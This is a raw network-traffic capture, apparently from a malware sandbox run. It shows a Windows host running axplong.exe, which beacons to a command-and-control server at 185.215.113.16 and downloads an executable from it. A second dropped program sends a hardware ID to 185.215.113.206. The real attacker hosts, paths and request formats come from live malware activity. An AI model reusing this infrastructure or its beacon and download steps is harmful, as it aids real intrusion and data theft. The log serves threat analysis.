Oct 29, 2024 05:02:26.370819092 CET	248	IN	Data Raw: 5f fd de c7 75 37 af ca c2 00 77 9c 53 c7 09 4f f0 bf 24 d2 85 4f 10 98 8c 7f 80 57 a8 fb 7c 31 9e ff b9 88 44 7c 35 66 14 1b 6f b8 6e af b9 76 70 cf 3f cd 52 a5 e9 79 78 0f 3c 4f 75 3f d1 04 6c 55 93 55 c8 28 02 3c 3b 75 e8 60 75 98 ee 59 69 2f Data Ascii: _u7wSO$OW\|1D\|5fonvp?Ryx<Ou?lUU(<;u`uYi/svOX@$u7i-P?lxNo4ep$u)o4D5~f$VWWO_OHAnGfpTD!xnkJ=O\|/)PuO}s_fN4XD>5p2uGs?
Oct 29, 2024 05:02:26.371743917 CET	1236	IN	Data Raw: 98 79 12 17 54 4e 68 65 7e 71 9f 04 a3 39 89 58 8f 75 b7 45 69 c5 b0 06 7f 4f 2b 4f 68 55 b3 6d 09 b5 f2 42 a4 67 2b 4f bc 56 5a 5b 74 3b eb 3c 7a d5 44 a4 74 3f 89 8e 95 ff b1 00 9f d7 09 4f 18 bf 68 d2 2d 60 c9 11 8f 45 ab 4f e4 25 b7 37 44 cb Data Ascii: yTNhe~q9XuEiO+OhUmBg+OVZ[t;<zDt?Oh-`EO%7DHOm7n+\|>uoOO`{7"`u/+v;,o\=_uuE~`h2@uuWU0zfup3mV*xu' u'SW$iFU36Fo/t?buV4F
Oct 29, 2024 05:02:26.371754885 CET	1236	IN	Data Raw: 77 3a 7b 47 8c 0a 12 99 e8 64 71 56 e2 5f 37 94 c4 b4 e9 24 76 61 8f 98 fc 06 2f c1 bd 39 b3 98 c8 0a 42 8e 22 14 7e 4b 5a 3a 63 11 f0 06 c8 98 b3 1b 63 47 18 17 b9 dc 75 e7 b2 47 bc 7b 9e 76 1c 46 33 54 08 13 ac 78 f9 db ce 96 92 09 8f 78 6d 40 Data Ascii: w:{GdqV_7$va/9B"~KZ:ccGuG{vF3Txxm@7hnO'e\hR?OwQ7m>,0VJ&O#\N}F>2CCJ<o<=7T<Tn;X:'Vwe \|'{+:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49778	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:32.398458958 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 31 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001118001&unit=246122658369
Oct 29, 2024 05:02:33.322701931 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Oct 29, 2024 05:02:33.324855089 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 29, 2024 05:02:33.608927965 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:33 GMT Content-Type: application/octet-stream Content-Length: 2994688 Last-Modified: Tue, 29 Oct 2024 03:47:09 GMT Connection: keep-alive ETag: "67205abd-2db200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d2 00 00 00 00 00 00 00 c0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 30 00 00 04 00 00 8b ff 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ0@0-@Th ~@.rsrc @.idata @ejiioxjp+*@itphzhqt0-@.taggant00"-@
Oct 29, 2024 05:02:33.608973026 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 05:02:33.608982086 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 05:02:33.608988047 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 05:02:33.609003067 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 05:02:33.609014034 CET	236	IN	Data Raw: 5a 08 cd 8a da 0c 6b e2 c1 35 dd a4 cf 7c 7e 1a 5f 61 1d 78 d2 be 90 90 d5 0b 22 97 cf b3 63 5b f6 f7 5d ce a5 b3 03 00 93 27 da 73 9e ba 01 72 dd 3b db 46 f5 a2 53 a1 fd 8d 3b a5 d9 9e c8 08 f6 a5 7b 2f 9a 05 d2 14 e7 b6 b9 a2 f9 04 40 1c 69 ac Data Ascii: Zk5\|~_ax"c[]'sr;FS;{/@ijd\X n\|$P\v=_$D#9{h.g:/qX"63:+1>H32o\|wRK,( 5Q1xtaCx
Oct 29, 2024 05:02:33.609034061 CET	1236	IN	Data Raw: df 35 e8 69 30 a0 5d be 92 c4 08 d4 a0 57 0f 12 c4 89 17 a2 25 08 d5 0c 42 51 86 9e e0 23 85 7b a0 31 2a 23 23 61 af 89 fb de 1e d9 c8 c8 0f 27 d6 3f 5c 0d a6 fb b4 ac e4 85 fa ca 32 8d 8b 78 20 33 f3 0f fe 9c 1c 9e d9 09 eb e9 a4 cb 40 bb c3 d4 Data Ascii: 5i0]W%BQ#{1##a'?\2x 3@fYwc]vePCg"^[6Bc\|]8t\|$XB<ftC(HbwU2{o]w`fWWhd9cFQw\rHWK'j
Oct 29, 2024 05:02:33.609041929 CET	212	IN	Data Raw: c7 0c 15 8c 6f 07 cd 1d a0 36 62 a8 2c 9d 08 7f 18 a0 64 bb 28 73 d2 9a ca 0b 24 51 99 cf 3d 16 38 fc 4d 87 08 4c 1e d1 d3 cd ff dd 54 d0 f1 a3 ab c4 9a 78 13 6c c0 62 46 3d f3 65 77 79 0f 5c 0e b4 45 f1 a2 bb d4 e3 4c 83 25 56 90 09 6a 34 2f c6 Data Ascii: o6b,d(s$Q=8MLTxlbF=ewy\EL%Vj4/!J`J&g@kg40 qcMd\|_(^DEhLMaVDXvN1lg{5\|\4V7Gd~-
Oct 29, 2024 05:02:33.609061003 CET	1236	IN	Data Raw: a6 f0 42 83 91 ba 0c ba d8 d6 05 f7 80 82 f4 e5 70 6c 8c 44 67 c2 3a c9 f8 3c 8d 28 a0 88 9d f8 0d fd 6f 51 26 b0 7c d2 dc 81 58 e2 fe 7c 7b 7a 06 8d d1 fe 0e b8 a3 c9 c7 c7 85 b0 ff b4 7d dd 17 18 4b 3a e0 18 0f e3 21 0f 31 dd d8 97 67 12 85 5e Data Ascii: BplDg:<(oQ&\|X\|{z}K:!1g^z?z#EXGZSaeop.zW 6&8wz}*\|pFm58NBM'\/%!tl`?Jl%#7
Oct 29, 2024 05:02:33.609124899 CET	1236	IN	Data Raw: a1 c7 db 69 91 1b 2d 6c 10 77 39 0d fc f0 9c aa c8 7c e2 11 b8 86 9a e7 9e 32 62 de ee 98 03 27 a4 48 07 41 dc d7 0f 97 d5 30 4d 8b 17 ac 7b 11 1c 64 89 a3 d8 1d d9 b9 43 35 6a 5d 8b 87 5f a6 6d fd cb bb ee 57 dd 96 ae 7d 03 34 fd 66 8e 5a 17 b6 Data Ascii: i-lw9\|2b'HA0M{dC5j]_mW}4fZ]z4R@HxwFq9si47$7fy9d2}hMLkbol3D/a`-2wD4BM\|pa+b455Bf?*&di3r`H34!F
Oct 29, 2024 05:02:33.609138966 CET	1236	IN	Data Raw: c4 ca 6b 78 fd bf 49 47 62 ba 6b 31 c4 ba de 80 a4 6f f0 79 70 40 6b 01 c7 1e 6c 7b 5b ff 6f 9f 8a 29 70 de 17 73 db 11 95 39 43 7d a9 b9 b0 7d 7c d3 dc ba 1b d4 ff 1b dc f3 52 7d d8 5b 82 35 d5 86 64 ba ec ea fb d3 da ec 3b f2 e7 d4 8d 1b ca 67 Data Ascii: kxIGbk1oyp@kl{[o)ps9C}}\|R}[5d;gxD-W65!rEU.\$$tb]";`L4AzR}I )lN2}rE_/:!Wk_fUBBh;RJhH3u_d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49799	185.215.113.206	80	4612	C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:36.006181955 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 05:02:36.922334909 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:02:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 05:02:36.931418896 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFCBFCBFBKEBFIDBKEC Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 43 42 46 43 42 46 42 4b 45 42 46 49 44 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 32 39 45 34 35 32 30 45 33 30 46 38 30 37 36 35 36 36 31 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 42 46 43 42 46 42 4b 45 42 46 49 44 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 42 46 43 42 46 42 4b 45 42 46 49 44 42 4b 45 43 2d 2d 0d 0a Data Ascii: ------BKFCBFCBFBKEBFIDBKECContent-Disposition: form-data; name="hwid"229E4520E30F807656615------BKFCBFCBFBKEBFIDBKECContent-Disposition: form-data; name="build"tale------BKFCBFCBFBKEBFIDBKEC--
Oct 29, 2024 05:02:37.219377041 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:02:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49825	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:40.664657116 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 31 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001119001&unit=246122658369
Oct 29, 2024 05:02:41.579227924 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49831	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:41.746340990 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:02:42.655232906 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:02:42.664292097 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:02:42.951194048 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49841	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:43.070409060 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:02:43.969646931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:02:43.972583055 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:02:44.253540039 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49850	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:44.373456001 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:02:45.310525894 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:02:45.311197996 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:02:45.606961966 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49861	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:45.726980925 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:02:46.620923996 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:02:46.621617079 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:02:46.900656939 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49868	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:47.007817030 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:02:47.906253099 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:02:47.907092094 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:02:48.188355923 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49876	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:48.304698944 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:02:49.417378902 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:02:49.418194056 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:02:49.708661079 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49885	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:49.822367907 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:02:50.733607054 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
